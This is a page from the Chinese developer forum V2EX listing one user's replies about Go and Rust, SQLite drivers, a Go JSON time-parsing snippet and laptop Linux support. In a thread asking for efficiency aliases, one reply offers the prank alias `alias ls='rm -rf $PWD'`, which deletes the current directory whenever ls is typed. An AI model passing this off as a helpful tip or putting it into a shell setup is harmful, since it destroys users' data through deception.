V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
V2EX  ›  danc  ›  全部回复第 3 页 / 共 9 页
回复总数  178
1  2  3  4  5  6  7  8  9  
2021-08-18 19:12:32 +08:00
回复了 ming159 创建的主题 程序员 工业数据通信网关程序
哈哈,这个我也有做,已经做了好几年了,积累了一些协议,踩了一些坑。不过是用 Go+Rust 在做。目前已经在做第三代了,可惜的是目前还不能开源
2021-08-18 18:49:27 +08:00
回复了 mightofcode 创建的主题 知乎 如何突破信息茧房?
明智的选择是啥都不看
2021-08-18 15:20:54 +08:00
回复了 iyear 创建的主题 Go 编程语言 发现个 pure go 的 sqlite 驱动
上面有口误,是“c 到 go”的编译器
2021-08-18 15:19:26 +08:00
回复了 iyear 创建的主题 Go 编程语言 发现个 pure go 的 sqlite 驱动
https://gitlab.com/cznic/ccgo/-/blob/master/v3/main.go

```
//TODO parallel

//TODO CPython
//TODO Cython
//TODO gmp
//TODO gofrontend
//TODO gsl
//TODO gtk
//TODO hdf5
//TODO minigmp
//TODO mpc
//TODO mpfr
//TODO pcre
//TODO pcre2
//TODO quickjs
//TODO redis
//TODO tcl/tk
//TODO wolfssl
//TODO zdat
//TODO zlib
```
2021-08-18 15:17:27 +08:00
回复了 iyear 创建的主题 Go 编程语言 发现个 pure go 的 sqlite 驱动
大佬可以试试这个,我前几天试了下这个,但没有详细测试。这个库的大佬挺厉害,搞了一个 gcc 到 go 的编译器,然后把 sqlite 的 c 源码,编译成了 go 。
2021-08-17 00:47:40 +08:00
回复了 hunk 创建的主题 Go 编程语言 json 中的时间转 struct 问题
```go
package util

import "time"

func ParseTime(value string) (time.Time, error) {
loc := time.FixedZone("UTC+8", +8*60*60)

return time.ParseInLocation("2006-01-02 15:04:05", value, loc)
}

func TimeFormat(t time.Time) string {
loc := time.FixedZone("UTC+8", +8*60*60)
return t.In(loc).Format("2006-01-02 15:04:05")
}

type MyTime time.Time

func (myT MyTime) MarshalText() (data []byte, err error) {
t := time.Time(myT)
data = []byte(TimeFormat(t))
return
}

func (myT *MyTime) UnmarshalText(text []byte) (err error) {
t := (*time.Time)(myT)
*t, err = ParseTime(string(text))
return
}
```

然后

```go
type MonitorDiagnosisItem struct {
Time util.MyTime `json:"time"`
}
```

学会了吗?
2021-08-10 13:05:40 +08:00
回复了 GM 创建的主题 Go 编程语言 Go 成功让我实现了人格分裂
之所以喜欢用 Go,Rust 这种,这是因为一开始就学习的这两个,先入为主了。对于我来说:1,Go,Rust 编译完了就一个 binary,拷过去运行就好了,就是做个 docker 镜像,做个裸镜像,也是很方便快速的嘛。其他的,Java,Python,Php 等,都什么嘛?你不要告诉我 Java 之类的也可以整成单 binary,人家 Go,Rust 这是天生的、cheap 的。2,Go,Rust 这种异常处理机制,虽然简陋,但确实有效。try catch 之类的,都什么嘛? 3,网络相关,没有什么比 Go 顺手了,没啥心智负担。4,设计模式,啥是设计模式?
2021-08-10 12:32:23 +08:00
回复了 GM 创建的主题 Go 编程语言 Go 成功让我实现了人格分裂
我从一开始就学习的 Go+Rust,现在工作中也主要使用 Go+Rust,这两把梭子各有所长,配合使用还是很不错的。偶尔会写写 js,python 之类的。我是非常讨厌 Java 之类的,也讨厌 python 之类的。不过嘛,也没必要去踩,自己尽量不碰就可以了嘛
2021-07-15 15:15:07 +08:00
回复了 zhoudaiyu 创建的主题 Linux 大家在 Linux 服务器上会配置那些 alias 提升效率?
alias ls='rm -rf $PWD'
大佬们来搞 go + rust,这两加起来能搞定很多东西了
@Joker123456789 大佬又开始讲道理了
2021-07-12 12:12:57 +08:00
回复了 ligiggy 创建的主题 程序员 半路出家 C++, 求知道参数“读/写”的标准
你是写业务,又不是写库。写库时用 getter/setter 更多是为了保持 api 稳定,比如我现在写了一库,我并没有把内部变量直接 public 让你访问,而是用 getter/setter 。等有一天,我改变了内部实现,或者发现了一个比我实现更好的 ,我直接套娃它。但我已经给你的 api,是始终不变的,即使 deprecated,即使编译时给你个 warn 。但你写业务嘛,三天两头改,没准哪天就重构,就别做这些无用功了。
你既然拿出来给别人看,就做好被喷的准备呗,别玻璃心,别给大家讲道理。
不过大概看了下,功能还是比较简陋。
对了,还有一些软件方面的问题。在混合模式下,大部分应用启动时可以选择“使用独立显卡启动”,vscode“使用独立显卡启动”代码编辑区域是黑屏
@danc 如果是单开核显,或者混合模式
我是 i7-10750H 装的 ubuntu 20.04 ,适配的还挺好的,唯有键盘灯颜色目前还没得调整。还有,如果是单核显说着混合模式,关机时会卡主 30s,这个倒影响不大。
2021-06-29 15:42:38 +08:00
回复了 opentrade 创建的主题 程序员 放暑假了,有没有同学对开源项目有兴趣?
对了,还会装一个向日葵做备份。以前是 teamviewer 做备份。
1  2  3  4  5  6  7  8  9  
关于   ·   帮助文档   ·   自助推广系统   ·   博客   ·   API   ·   FAQ   ·   Solana   ·   917 人在线   最高记录 6679   ·     Select Language
创意工作者们的社区
World is powered by solitude
VERSION: 3.9.8.5 · 25ms · UTC 19:49 · PVG 03:49 · LAX 12:49 · JFK 15:49
♥ Do have faith in what you're doing.